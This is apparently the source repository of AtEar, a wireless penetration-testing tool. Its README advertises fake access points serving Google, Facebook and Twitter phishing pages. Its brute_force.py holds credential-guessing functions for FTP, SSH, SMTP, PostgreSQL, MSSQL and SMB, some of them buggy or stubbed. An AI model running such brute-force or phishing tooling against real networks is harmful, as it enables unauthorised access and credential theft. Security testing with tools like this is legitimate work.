├── .gitignore ├── LICENSE ├── README.md ├── __init__.py ├── databases └── oui_database.csv ├── dict └── password.lst ├── download_count.py ├── install.sh ├── module ├── NetBIOS.py ├── __init__.py ├── aircrack.py ├── airodump.py ├── brute_force.py ├── conf │ ├── AtEar.crt │ ├── AtEar.key │ └── run.conf ├── db_reader.py ├── execute.py ├── fake_ap.py ├── network.py ├── pentest.py ├── pentest_open.py ├── phishing │ ├── static │ │ ├── facebook │ │ │ ├── -G5XZK33k3L.js │ │ │ ├── C86uFXYd8AG.js │ │ │ ├── GvIVcpFyAUm.js │ │ │ ├── KsHgELJs-ma.css │ │ │ ├── L2I1nEfDcnd.js │ │ │ ├── MfUSW83MbMU.js │ │ │ ├── NnR8baWyIFe.js │ │ │ ├── O2aKM2iSbOw.png │ │ │ ├── TVwETOWw57B.css │ │ │ ├── an9uVqgXgka.png │ │ │ ├── asRctFUnmAr.css │ │ │ ├── dDiSA9yI7kc.js │ │ │ ├── gl7pBiB2Xcb.js │ │ │ ├── kv83ea7Wj3Z.js │ │ │ └── mMVC7YBCU2s.js │ │ ├── google │ │ │ ├── arrow_back_grey600_24dp.png │ │ │ ├── avatar_2x.png │ │ │ ├── logo_1x.png │ │ │ ├── logo_strip_1x.png │ │ │ └── logo_strip_2x.png │ │ └── twitter │ │ │ ├── larrybird.png │ │ │ ├── m5_sessions.css │ │ │ └── m5_sessions.js │ ├── templates │ │ ├── facebook │ │ │ └── index.html │ │ ├── google │ │ │ └── index.html │ │ └── twitter │ │ │ ├── index.html │ │ │ └── static │ │ │ ├── img │ │ │ └── larrybird.png │ │ │ ├── m5_sessions.css │ │ │ └── m5_sessions.js │ └── tmp │ │ └── login.json └── wids.py ├── product_img ├── AtEar_Product.jpg ├── KoreaTelecom.png ├── Ministry_en.png ├── Samsung.png ├── atearlogo.png ├── edu1.png ├── kaits_.png ├── kbs.png ├── kgu.png ├── korea_rail.png ├── koreauniversity.png └── police1.png ├── requirements.txt ├── run.py ├── static ├── css │ ├── jquery.dataTables.css │ ├── jquery.dataTables.min.css │ ├── jquery.tablescroll.css │ ├── main.css │ ├── semantic.css │ ├── semantic.min.css │ └── themes │ │ ├── basic │ │ └── assets │ │ │ └── fonts │ │ │ ├── icons.eot │ │ │ ├── icons.svg │ │ │ ├── icons.ttf │ │ │ └── icons.woff │ │ ├── default │ │ └── assets │ │ │ ├── fonts │ │ │ ├── icons.eot │ │ │ ├── icons.otf │ │ │ ├── icons.svg │ │ │ ├── icons.ttf │ │ │ ├── icons.woff │ │ │ └── icons.woff2 │ │ │ └── images │ │ │ └── flags.png │ │ └── norma │ │ └── assets │ │ ├── fonts │ │ ├── icons.eot │ │ ├── icons.svg │ │ ├── icons.ttf │ │ ├── icons.woff │ │ └── icons.woff2 │ │ └── images │ │ └── flags.png ├── images │ ├── a104ns.jpg │ ├── iptime │ │ ├── a1004.jpg │ │ ├── a1004v.jpg │ │ ├── a104ns.jpg │ │ ├── a2004.jpg │ │ ├── a2004ns.jpg │ │ ├── a2004nsplus.jpg │ │ ├── a2004plus.jpg │ │ ├── a3004.jpg │ │ ├── a3004ns.jpg │ │ ├── a5004ns.jpg │ │ ├── a604.jpg │ │ ├── a604v.jpg │ │ ├── n1.jpg │ │ ├── n104.jpg │ │ ├── n104a.jpg │ │ ├── n104i.jpg │ │ ├── n104k.jpg │ │ ├── n104m.jpg │ │ ├── n104plus.jpg │ │ ├── n104q.jpg │ │ ├── n104r.jpg │ │ ├── n104r3.jpg │ │ ├── n104s.jpg │ │ ├── n104sr1.jpg │ │ ├── n104t.jpg │ │ ├── n104v.jpg │ │ ├── n1e.jpg │ │ ├── n1plus.jpg │ │ ├── n2.jpg │ │ ├── n2e.jpg │ │ ├── n2eplus.jpg │ │ ├── n2plus.jpg │ │ ├── n3004.jpg │ │ ├── n5.jpg │ │ ├── n504.jpg │ │ ├── n5r1_01.jpg │ │ ├── n6004.jpg │ │ ├── n6004m.jpg │ │ ├── n6004r.jpg │ │ ├── n604.jpg │ │ ├── n604a.jpg │ │ ├── n604i.jpg │ │ ├── n604m.jpg │ │ ├── n604plus.jpg │ │ ├── n604r.jpg │ │ ├── n604rplus.jpg │ │ ├── n604s.jpg │ │ ├── n604t.jpg │ │ ├── n604tplus.jpg │ │ ├── n604v.jpg │ │ ├── n604vplus.jpg │ │ ├── n608.jpg │ │ ├── n7004ns.jpg │ │ ├── n704.jpg │ │ ├── n704a.jpg │ │ ├── n704a3.jpg │ │ ├── n704bcm.jpg │ │ ├── n704m.jpg │ │ ├── n704ns.jpg │ │ ├── n704s.jpg │ │ ├── n704v.jpg │ │ ├── n704v3.jpg │ │ ├── n8004.jpg │ │ ├── n8004r.jpg │ │ ├── n804.jpg │ │ ├── n804a.jpg │ │ ├── n804a3.jpg │ │ ├── n804t.jpg │ │ ├── n804t3.jpg │ │ ├── n804v.jpg │ │ ├── n904.jpg │ │ ├── n904ns.jpg │ │ ├── n904plus.jpg │ │ ├── n904vplus.jpg │ │ ├── nx505.jpg │ │ └── smart.jpg │ ├── sort_asc.png │ ├── sort_asc_disabled.png │ ├── sort_both.png │ ├── sort_desc.png │ └── sort_desc_disabled.png ├── img │ ├── Atear_logo.png │ ├── atear_logo.svg │ ├── atear_logo_d.svg │ ├── atear_logo_white.svg │ ├── atear_logo_white_beta.svg │ ├── glass.jpg │ ├── glass2.jpg │ └── pavicon.ico └── js │ ├── config.js │ ├── libs │ ├── Chart.min.js │ ├── backbone.js │ ├── backbone.min.js │ ├── fullscreen.js │ ├── jquery.address.min.js │ ├── jquery.dataTables.js │ ├── jquery.dataTables.min.js │ ├── jquery.js │ ├── jquery.tablescroll.js │ ├── jquery.tablesort.js │ ├── lodash.min.js │ ├── require.min.js │ ├── semantic.js │ ├── semantic.min.js │ ├── typed.min.js │ └── underscore.js │ ├── main.js │ ├── models │ ├── fakeap-model.js │ ├── hidden-model.js │ ├── pentest-model.js │ ├── pentest-result-collection.js │ ├── pentest-result-model.js │ ├── project-collection.js │ ├── project-model.js │ ├── scanstatus-collection.js │ ├── scanstatus-model.js │ ├── wids-collection.js │ └── wids-model.js │ ├── utils │ └── tpl.js │ └── views │ ├── fakeap-connstation.js │ ├── fakeap-loginstation.js │ ├── fakeap.js │ ├── header-menu.js │ ├── hidden.js │ ├── pentest-option.js │ ├── pentest-result.js │ ├── pentest-scantable-empty.js │ ├── pentest-scantable.js │ ├── pentest-typetable.js │ ├── pentest.js │ ├── project-list.js │ ├── status-scanchart.js │ ├── status-scantable.js │ ├── status.js │ ├── wids-chart.js │ ├── wids-statistic.js │ ├── wids-table.js │ └── wids.js └── templates ├── fakeap-connstation-list.html ├── fakeap-connstation.html ├── fakeap-loginstation-list.html ├── fakeap-loginstation.html ├── fakeap.html ├── header.html ├── hidden-message.html ├── hidden.html ├── index.html ├── login.html ├── main.html ├── pentest-option.html ├── pentest-result-list.html ├── pentest-result.html ├── pentest-scantable-empty.html ├── pentest-scantable-list.html ├── pentest-scantable.html ├── pentest-typetable.html ├── pentest.html ├── project-list-item.html ├── project-list.html ├── status-scanchart.html ├── status-scantable-list.html ├── status-scantable.html ├── status.html ├── wids-chart.html ├── wids-statistic-list.html ├── wids-statistic.html ├── wids-table-list.html ├── wids-table.html └── wids.html /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .* 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |
3 | ## AtEar 4 | AtEar is a scalable and efficient system, and also the first web-based wireless vulnerability assessment solution.
5 | This Wireless Vulnerability Analysis/Management Solution, AtEar, can be utilized both by businesses and in the home.
6 | For business use, AtEar utilizes fingerprint devices for access to the network and to analyze the current wireless network conditions.
The automatic penetration testing function makes it possible to analyze wireless vulnerability conveniently and meticulously.
AtEar for home networks inspects network security conditions and monitors for any unregistered devices.
7 | 8 | # Intro 9 | 10 | > In short, [AtEar](http://www.norma.co.kr) is a wireless pentest system.
11 | > AtEar provides a web-based user interface.
12 | > AtEar is easy and fast to use.
13 | 14 | ![alt AtEar_Product] (https://raw.githubusercontent.com/NORMA-Inc/AtEar/master/product_img/AtEar_Product.jpg) 15 |

Is your company’s wireless network secure?
16 | AtEar helps keep your wireless network safe from hackers and intruders.

17 |
18 | 19 | ### Operation Video 20 | Operation Video Link 21 |
22 | ### AtEar Features 23 | 1. Wireless Scanning(Ad-Hoc, Station, Access Point, Soft-Acess Point) 24 | 2. Wireless Chart(Channel, Encryption, Type) 25 | 3. Wireless Pentesting(WEP, WPA1, WPA2) 26 | 4. Network Information Getting(IP, Connected Host Info) 27 | 5. Fake AP 28 | - Google Phishing Sites 29 | - Facebook Phishing Sites 30 | - Twitter Phishing Sites 31 | 6. WIDS(Wireless intrusion detection system) 32 | - Disassocation Flood 33 | - Deauth Flood 34 | - WESSID-NG Attack 35 | - Koreck Chopchop attack 36 | - Fragmentation PGRA Attack 37 | - MDK MICHEAL SHUTDOWN Exploitation TKIP Attack 38 | - Attack By TKIPUN-NG 39 | - Authentication DOS Attack 40 | - Assocation Flood 41 | - High Amount of Assocation Sent 42 | - Suspect Rouge AP 43 | - Detected Beacon Flood 44 | 45 | These features will be released this month.
46 | Network Pentesting
47 | - FTP Brute Force 48 | - SSH Brute Force 49 | - Telnet Brute Force 50 | - SMTP Brute Force 51 | - POP Brute Force 52 | - IMAP Brute Force 53 | - LDAP Brute Force 54 | - SMB Brute Force 55 | - rlogin Brute Force 56 | - MSSQL Brute Force 57 | - MYSQL Brute Force 58 | - PGSQL Brute Force 59 | - VNC Brute Force 60 | - SNMP Brute Force 61 | 62 | ### Most recommended systems 63 | `Developed by Ubuntu 14.04 LTS(amd64) and python 2.7v` 64 | 65 | ### Most recommended USB Lancards 66 | ***It will aircrack-ng supoorted USB-Lancard***
67 | `asus WL-167g v2`
68 | `Airlink AWLL3026`
69 | `Alfa AWUS036E`
70 | `Alfa AWUS036G`
71 | `Alfa AWUS036S`
72 | `Alfa AWUS050NH`
73 | `Digitus DN-7003GS`
74 | `D-Link DWL-G122 B1`
75 | `D-Link DWL-G122 C1`
76 | `D-Link WUA-1340`
77 | `Edimax EW-7318USg`
78 | `Hawking HWUG1`
79 | `Linksys WUSB54G v4`
80 | `Linksys WUSB54GC v1`
81 | `Linksys WUSB54GC v2`
82 | `Netgear WG111 v1`
83 | `Netgear WG111 v2`
84 | `Netgear WG111 v3`
85 | `Netgear WNDA3100 v1`
86 | `TP-Link TL-WN321G`
87 | `TP-Link TL-WN321G v4`
88 | `Trendnet TEW-429UB C1`
89 | `ZyXEL AG-225H`
90 | `ZyXEL G-202`
91 | 92 | ### Dependency Programs 93 | `aircrack-ng`
94 | `tshark`
95 | `hostapd`
96 | `python-dev`
97 | `python-flask`
98 | `python-paramiko`
99 | `python-psycopg2`
100 | `python-pyodbc`
101 | `python-sqlite`
102 | `python-pip`
103 | 104 | ### AtEar Installation Instructions 105 | Clone a copy of the main AtEar git repo by running:
106 | `sudo apt-get install git`
107 | `git clone https://github.com/NORMA-Inc/AtEar.git`
108 | Enter the AtEar directory and run the install script:
109 | `cd ./AtEar/`
110 | `sudo bash install.sh`
111 | 112 | ### How to Run 113 | `cd ./AtEar/`
114 | `sudo python run.py --iface wlan*
115 | `Open Web Browsers`
116 | `127.0.0.1:8080`
117 | 118 | ### AtEar Customers 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | ### Reference 131 | AtEar’s flexible and convenient functionality can overcome the limitations of WIPS.
132 | This achievement has led to partnerships with telecommunications companies SAMSUNG and KT. Many other small and middle-sized businesses and public institutions have chosen AtEar as their favorite wireless security solution thanks to its user friendliness and competitive cost. Satisfied customers include prominent institutions such as the Seoul City Hall, the Korea Rail Network Authority and Korea University.
133 | 134 | ### AtEar-Demo Add-on Features 135 | 1. A database for a particular sector of a wireless device can be specified. 136 | 2. The demo program can provide the latest Access Point Firmware Database. 137 | 3. The program has some project management capabilities. 138 | 4. The program can provide a function report.
139 | ***AtEar-Demo is a free 30-Day Trial Version*** 140 | 141 | ### Requesting the AtEar-Demo Version 142 | [NORMA-Inc Homepage](http://www.norma.co.kr)
143 | Contact us [contact@norma.co.kr](mailto:contact@norma.co.kr) 144 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | -------------------------------------------------------------------------------- /dict/password.lst: -------------------------------------------------------------------------------- 1 | {Please Input Dictionary Here} 2 | -------------------------------------------------------------------------------- /download_count.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | import requests 3 | import io 4 | 5 | 6 | def dict_to_object(d): 7 | if '__class__' in d: 8 | class_name = d.pop('__class__') 9 | module_name = d.pop('__module__') 10 | module = __import__(module_name) 11 | class_ = getattr(module, class_name) 12 | args = dict((key.encode('ascii'), value) for key, value in d.items()) 13 | inst = class_(**args) 14 | else: 15 | inst = d 16 | return inst 17 | 18 | 19 | def ensure_str(s): 20 | if isinstance(s, unicode): 21 | s = s.encode('utf-8') 22 | return s 23 | 24 | full_names = [] 25 | 26 | 27 | buf = io.StringIO() 28 | r = requests.get('https://api.github.com/users/NORMA-Inc/repos') 29 | myobj = r.json() 30 | 31 | for rep in myobj: 32 | full_names.insert(0, ensure_str(rep['full_name'])) 33 | 34 | for full_name in full_names: 35 | buf = io.StringIO() 36 | try: 37 | r = requests.get('https://api.github.com/repos/' + full_name + '/releases') 38 | myobj = r.json() 39 | for p in myobj: 40 | print p 41 | if "assets" in p: 42 | for asset in p['assets']: 43 | print((asset['name'] + ": " + str(asset['download_count']) + 44 | " downloads")) 45 | else: 46 | print("No data") 47 | except: 48 | pass -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Init 3 | set -e 4 | 5 | # Check root 6 | if [[ $EUID -ne 0 ]]; then 7 | echo "You must be a root user" 2>&1 8 | exit 1 9 | fi 10 | echo "Install started" 11 | 12 | # Install started 13 | if [ $(dpkg-query -W -f='${Status}' aircrack-ng 2>/dev/null | grep -c "ok installed") -eq 0 ]; 14 | then 15 | echo "Install packages aircrack-ng" 16 | sudo apt-get --force-yes --yes install aircrack-ng 17 | fi 18 | if [ $(dpkg-query -W -f='${Status}' tshark 2>/dev/null | grep -c "ok installed") -eq 0 ]; 19 | then 20 | echo "Install packages tshark" 21 | sudo apt-get --force-yes --yes install tshark 22 | fi 23 | if [ $(dpkg-query -W -f='${Status}' hostapd 2>/dev/null | grep -c "ok installed") -eq 0 ]; 24 | then 25 | echo "Install packages hostapd" 26 | sudo apt-get --force-yes --yes install hostapd 27 | fi 28 | if [ $(dpkg-query -W -f='${Status}' python-dev 2>/dev/null | grep -c "ok installed") -eq 0 ]; 29 | then 30 | echo "Installed packages python-dev" 31 | sudo apt-get --force-yes --yes install python-dev 32 | fi 33 | if [ $(dpkg-query -W -f='${Status}' python-pip 2>/dev/null | grep -c "ok installed") -eq 0 ]; 34 | then 35 | echo "Installed packages python-pip" 36 | sudo apt-get --force-yes --yes install python-pip 37 | fi 38 | if [ $(dpkg-query -W -f='${Status}' python-pyodbc 2>/dev/null | grep -c "ok installed") -eq 0 ]; 39 | then 40 | echo "Installed packages python-pyodbc" 41 | sudo apt-get --force-yes --yes install python-pyodbc 42 | fi 43 | if [ $(dpkg-query -W -f='${Status}' nmap 2>/dev/null | grep -c "ok installed") -eq 0]; 44 | then 45 | echo "Installed packages nmap" 46 | sudo apt-get --force-yes --yes install nmap 47 | fi 48 | echo "Installed requirements python packages" 49 | sudo pip install -r requirements.txt -------------------------------------------------------------------------------- /module/NetBIOS.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | import random, socket, time, select 3 | import struct, string, re 4 | import types, errno 5 | 6 | 7 | class NetBIOS(): 8 | def __init__(self, broadcast=True, listen_port=0): 9 | self.broadcast = broadcast 10 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | self.HEADER_STRUCT_FORMAT = '>HHHHHH' 12 | self.HEADER_STRUCT_SIZE = struct.calcsize(self.HEADER_STRUCT_FORMAT) 13 | if self.broadcast: 14 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 15 | if listen_port: 16 | self.sock.bind(( '', listen_port )) 17 | 18 | def write(self, data, ip, port): 19 | self.sock.sendto(data, ( ip, port )) 20 | 21 | def queryIPForName(self, ip, port=137, timeout=5): 22 | TYPE_SERVER = 0x20 23 | 24 | trn_id = random.randint(1, 0xFFFF) 25 | data = self.prepareNetNameQuery(trn_id) 26 | self.write(data, ip, port) 27 | ret = self._pollForQueryPacket(trn_id, timeout) 28 | if ret: 29 | return map(lambda s: s[0], filter(lambda s: s[1] == TYPE_SERVER, ret)) 30 | else: 31 | return None 32 | # 33 | # Contributed by Jason Anderson 34 | # 35 | def _pollForQueryPacket(self, wait_trn_id, timeout): 36 | end_time = time.time() + timeout 37 | while True: 38 | try: 39 | _timeout = end_time - time.time() 40 | if _timeout <= 0: 41 | return None 42 | 43 | ready, _, _ = select.select([ self.sock.fileno() ], [ ], [ ], _timeout) 44 | if not ready: 45 | return None 46 | 47 | data, _ = self.sock.recvfrom(0xFFFF) 48 | if len(data) == 0: 49 | return None 50 | 51 | trn_id, ret = self.decodeIPQueryPacket(data) 52 | 53 | if trn_id == wait_trn_id: 54 | return ret 55 | except select.error, ex: 56 | if type(ex) is types.TupleType: 57 | if ex[0] != errno.EINTR and ex[0] != errno.EAGAIN: 58 | return None 59 | else: 60 | return None 61 | 62 | def prepareNetNameQuery(self, trn_id): 63 | header = struct.pack(self.HEADER_STRUCT_FORMAT, 64 | trn_id, 0x0010, 1, 0, 0, 0) 65 | payload = self.encode_name('*', 0) + '\x00\x21\x00\x01' 66 | 67 | return header + payload 68 | 69 | def decodeIPQueryPacket(self, data): 70 | if len(data) < self.HEADER_STRUCT_SIZE: 71 | return None 72 | 73 | trn_id, code, question_count, answer_count, authority_count, additional_count = struct.unpack(self.HEADER_STRUCT_FORMAT, data[:self.HEADER_STRUCT_SIZE]) 74 | 75 | is_response = bool((code >> 15) & 0x01) 76 | opcode = (code >> 11) & 0x0F 77 | flags = (code >> 4) & 0x7F 78 | rcode = code & 0x0F 79 | numnames = struct.unpack('B', data[self.HEADER_STRUCT_SIZE + 44])[0] 80 | 81 | if numnames > 0: 82 | ret = [ ] 83 | offset = self.HEADER_STRUCT_SIZE + 45 84 | 85 | for i in range(0, numnames): 86 | mynme = data[offset:offset + 15] 87 | mynme = mynme.strip() 88 | ret.append(( mynme, ord(data[offset+15]) )) 89 | offset += 18 90 | 91 | return trn_id, ret 92 | else: 93 | return trn_id, None 94 | 95 | def encode_name(self, name, type, scope = None): 96 | if name == '*': 97 | name = name + '\0' * 15 98 | elif len(name) > 15: 99 | name = name[:15] + chr(type) 100 | else: 101 | name = string.ljust(name, 15) + chr(type) 102 | 103 | def _do_first_level_encoding(m): 104 | s = ord(m.group(0)) 105 | return string.uppercase[s >> 4] + string.uppercase[s & 0x0f] 106 | 107 | encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name) 108 | if scope: 109 | encoded_scope = '' 110 | for s in string.split(scope, '.'): 111 | encoded_scope = encoded_scope + chr(len(s)) + s 112 | return encoded_name + encoded_scope + '\0' 113 | else: 114 | return encoded_name + '\0' -------------------------------------------------------------------------------- /module/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | -------------------------------------------------------------------------------- /module/airodump.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import csv 3 | import os 4 | import sys 5 | import db_reader 6 | import commands 7 | import re 8 | from collections import defaultdict 9 | from execute import execute 10 | from subprocess import Popen, PIPE 11 | from threading import Thread 12 | reload(sys) 13 | sys.setdefaultencoding('UTF-8') 14 | DN = open(os.devnull, 'w') 15 | ERRLOG = open(os.devnull, 'w') 16 | OUTLOG = open(os.devnull, 'w') 17 | 18 | class Command_thread(Thread): 19 | def __init__ (self, command, callback=None): 20 | Thread.__init__(self) 21 | self.command = command 22 | self.callback = callback 23 | def run(self): 24 | commands.getoutput(self.command) 25 | # callback 26 | if hasattr(self.callback, '__call__'): 27 | self.callback() 28 | 29 | class Reader(object): 30 | ''' 31 | Parse scan result and keep it in local variable. 32 | ''' 33 | def __init__(self): 34 | self.aps = defaultdict() 35 | self.clients = defaultdict() 36 | self.channel_list = [] 37 | self.soft_mac_list = ['2','3','6','7','A','B','E','F'] 38 | 39 | output_raw = commands.getoutput('cat /tmp/atear-scan-01.csv') 40 | output = output_raw.split("\n") 41 | for out in output: 42 | match = re.match( 43 | r"([0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2})\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*(\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2})\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\w+)\s*,\s*([\w\s]*)\s*,\s*(\w*)\s*,\s*(.\d+)\s*,\s*\d+\s*,\s*(\d+)\s*,.+,\s*(.+)\s*,.*", 44 | out) 45 | if match: 46 | company = db_reader.oui_search(str(match.group(1))) 47 | if str(match.group(1))[1] in self.soft_mac_list: 48 | ap_type = 'SoftAp' 49 | elif int(match.group(8)) == -1: 50 | ap_type = 'ad-hoc', 51 | else: 52 | ap_type = 'Access Point' 53 | 54 | self.aps[match.group(1)] = { 55 | 'type' : ap_type, 56 | 'company':company, 57 | 'product' : 'unknown', 58 | 'nd_beacons': 0, 59 | 'sid_length' : 0, 60 | 'Time': match.group(2), 61 | 'ch': match.group(3), 62 | "enc": match.group(5), 63 | 'cipher': match.group(6), 64 | 'auth': match.group(7), 65 | 'power':match.group(8), 66 | 'nb_data': match.group(9), 67 | 'essid':match.group(10), 68 | 'bssid':match.group(1), 69 | } 70 | 71 | else: 72 | matchb = re.match( 73 | r"([0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2}:[0-9A-Fa-f]{2,2})\s*,\s*\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2}\s*,\s*(\d{4,4}-\d{2,2}-\d{2,2}\s*\d{2,2}:\d{2,2}:\d{2,2})\s*,\s*(.\d+)\s*,\s*(\d+)\s*,\s*(.+)\s*,.*", 74 | out) 75 | if not matchb: 76 | continue 77 | else: 78 | if "WPA" in matchb.group(5) or "OPN" in matchb.group(5) or "WEP" in matchb.group( 79 | 5) or "WPA2" in matchb.group(5): 80 | pass 81 | else: 82 | company = db_reader.oui_search(str(matchb.group(1))) 83 | sta_type = 'station' 84 | if int(matchb.group(3)) == -1: 85 | sta_type = 'ad-hoc' 86 | sta_bssid = str(matchb.group(1)).upper() 87 | ap_bssid = str(matchb.group(5)).upper() 88 | 89 | if "NOT ASSOCIATED" in ap_bssid: 90 | ap_bssid = 'notasso' 91 | duplicated_flag = False 92 | if sta_bssid in self.aps: 93 | duplicated_flag = True 94 | 95 | self.clients[sta_bssid] = { 96 | 'bssid':sta_bssid, 97 | 'essid': ' ', 98 | 'type': sta_type, 99 | 'Time': str(matchb.group(2)), 100 | "nb_data": str(matchb.group(4)), 101 | 'probes': ' ', 102 | 'power': str(matchb.group(3)), 103 | 'company': company, 104 | 'duplicated': duplicated_flag, 105 | } 106 | 107 | 108 | def client_return(self): 109 | return self.clients 110 | 111 | def aps_return(self): 112 | return self.aps 113 | 114 | class Scanner(object): 115 | ''' 116 | airodump-ng 117 | ''' 118 | def __init__(self, iface): 119 | self.interface = iface 120 | self.isRunning = False # Meaningless variable. 121 | self._networks = defaultdict(dict) 122 | self._clients = defaultdict(dict) 123 | self.channel_list = [] 124 | 125 | def get_channel_list(self): 126 | proc = Popen('iwlist %s channel|grep Channel' % (self.interface), shell=True, stdout=PIPE) 127 | out = proc.communicate()[0] 128 | chpt = re.compile('^Channel \d*') 129 | for line in out.split('\n'): 130 | line = line.lstrip() 131 | if chpt.match(line): 132 | self.channel_list.append(int(line.split()[1])) 133 | channel_list = str(self.channel_list).replace('[', '') 134 | channel_list = str(channel_list.replace(']', '')) 135 | channel_list = str(channel_list.replace(' ', '')) 136 | return channel_list 137 | 138 | def stop(self): 139 | print '[*] Stop Scanning networkp' 140 | commands.getstatusoutput('killall airodump-ng') 141 | self.isRunning = False 142 | 143 | def run(self): 144 | print '[*] Start scanning network ' 145 | commands.getstatusoutput('rm -r /tmp/atear-scan-01.csv*') 146 | scan_command = 'airodump-ng --output-format csv --write /tmp/atear-scan' 147 | scan_command = scan_command + ' --channel ' + str(self.get_channel_list()) 148 | scan_command = str(scan_command + ' ' + self.interface) 149 | ct = Command_thread(scan_command) 150 | ct.start() 151 | self.isRunning = True 152 | 153 | def get_value(self): 154 | try: 155 | r = Reader() 156 | self._networks = r.aps_return().values() 157 | self._clients = r.client_return().values() 158 | except Exception, e: 159 | print e 160 | return False 161 | return self._networks + self._clients 162 | -------------------------------------------------------------------------------- /module/brute_force.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = 'hackpupu' 3 | 4 | 5 | def brute_text_create(min_length=1, max_length=3, letters=True, numbers=True, symbols=True, spaces=False): 6 | from string import digits as _numbers, letters as _letters, punctuation as _symbols, whitespace as _spaces 7 | from itertools import chain, product 8 | from random import sample 9 | choices = '' 10 | choices += _letters if letters else '' 11 | choices += _numbers if numbers else '' 12 | choices += _symbols if symbols else '' 13 | choices += _spaces if spaces else '' 14 | choices = ''.join(sample(choices, len(choices))) 15 | return ( 16 | ''.join(candidate) for candidate in 17 | chain.from_iterable( 18 | product( 19 | choices, 20 | repeat=i, 21 | ) for i in range(min_length, max_length + 1), 22 | ) 23 | ) 24 | 25 | 26 | 27 | def ftp_connect(username, password, target, port, timeout): 28 | try: 29 | from ftplib import FTP 30 | except Exception, e: 31 | print "Import Error: " + e 32 | return False 33 | try: 34 | ftp = FTP() 35 | ftp.connect(host=target, port=port, timeout=int(timeout)) 36 | ftp.login(username, password) 37 | ftp.retrlines('LIST') 38 | return username, password 39 | except Exception, e: 40 | print "Unknown Error: ", e 41 | return False 42 | 43 | 44 | def telnet_connect(username, password, target, port, timeout): 45 | import socket 46 | 47 | telnet = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 48 | telnet.settimeout(timeout) 49 | try: 50 | telnet.connect(target, port) 51 | telnet_io = telnet.makefile() 52 | except Exception, e: 53 | print "Unknwon Error: " + e 54 | return False 55 | 56 | 57 | def ssh_connect(username, password, target, port, timeout): 58 | try: 59 | from paramiko import SSHClient 60 | from paramiko import AutoAddPolicy 61 | except Exception, e: 62 | print "Import Error" + e 63 | return False 64 | ssh = SSHClient() 65 | ssh.set_missing_host_key_policy(AutoAddPolicy()) 66 | try: 67 | ssh.connect(target, port=port, username=username, password=password, timeout=timeout, 68 | allow_agent=False, look_for_keys=False) 69 | return username, password 70 | ssh.close() 71 | except Exception, e: 72 | print "Unknwon Error: " + e 73 | return False 74 | 75 | 76 | def smtp_connection(username, password, targetip, port, timeout): 77 | import smtplib 78 | try: 79 | smtpserver = smtplib.SMTP(targetip, port) 80 | smtpserver.ehlo() 81 | smtpserver.starttls() 82 | smtpserver.ehlo() 83 | smtpserver.login(username,password) 84 | return {'username':username, 'password':password ,'targetip':targetip, 'port':port } 85 | except: 86 | return False 87 | 88 | 89 | def postgresql(username, password, targetip, port, timeout): 90 | import psycopg2 91 | try: 92 | conn = psycopg2.connect(user=username,password=password,host=targetip,port=port) 93 | return {'username':username, 'password':password ,'targetip':targetip, 'port':port } 94 | except: 95 | return False 96 | 97 | 98 | def mssql(username, password, targetip, port, timeout): 99 | import pyodbc 100 | cnxn = pyodbc.connect('DRIVER={SQL Server};' 101 | 'SERVER=' + targetip + ';DATABASE=sp_defaultdb;UID=' + username + ';PWD=' + password) 102 | cursor = cnxn.cursor() 103 | cursor.execute("select user_id, user_name from users") 104 | rows = cursor.fetchall() 105 | for row in rows: 106 | print row.user_id, row.user_name 107 | 108 | 109 | def POP(username, password, targetip, port, timeout): 110 | print 'POP' 111 | 112 | 113 | def SMB(username, password, targetip, port, timeout): 114 | from smb.SMBConnection import SMBConnection 115 | try: 116 | system_name="server" 117 | conn = SMBConnection(username,password,"Norma-Atear",targetip,use_ntlm_v2=True, 118 | sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, 119 | is_direct_tcp=True) 120 | connected = conn.connect(targetip,port) 121 | except: 122 | print('### can not access the system') 123 | 124 | 125 | def oracle_db(username, password, targetip, port, timeout): 126 | print 'oracl' -------------------------------------------------------------------------------- /module/conf/AtEar.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDbTCCAlWgAwIBAgIJAN2Ck+0RM/8HMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV 3 | BAYTAktPMQ4wDAYDVQQIDAVBdEVhcjEOMAwGA1UEBwwFU2VvdWwxDjAMBgNVBAoM 4 | BU5PUk1BMQ4wDAYDVQQLDAVBdEVBcjAeFw0xNTA5MTEwNTMxMzFaFw0xNjA5MTAw 5 | NTMxMzFaME0xCzAJBgNVBAYTAktPMQ4wDAYDVQQIDAVBdEVhcjEOMAwGA1UEBwwF 6 | U2VvdWwxDjAMBgNVBAoMBU5PUk1BMQ4wDAYDVQQLDAVBdEVBcjCCASIwDQYJKoZI 7 | hvcNAQEBBQADggEPADCCAQoCggEBANuo56/xXVSvoshKMqfgzxAJRoLJuwe/qSt5 8 | 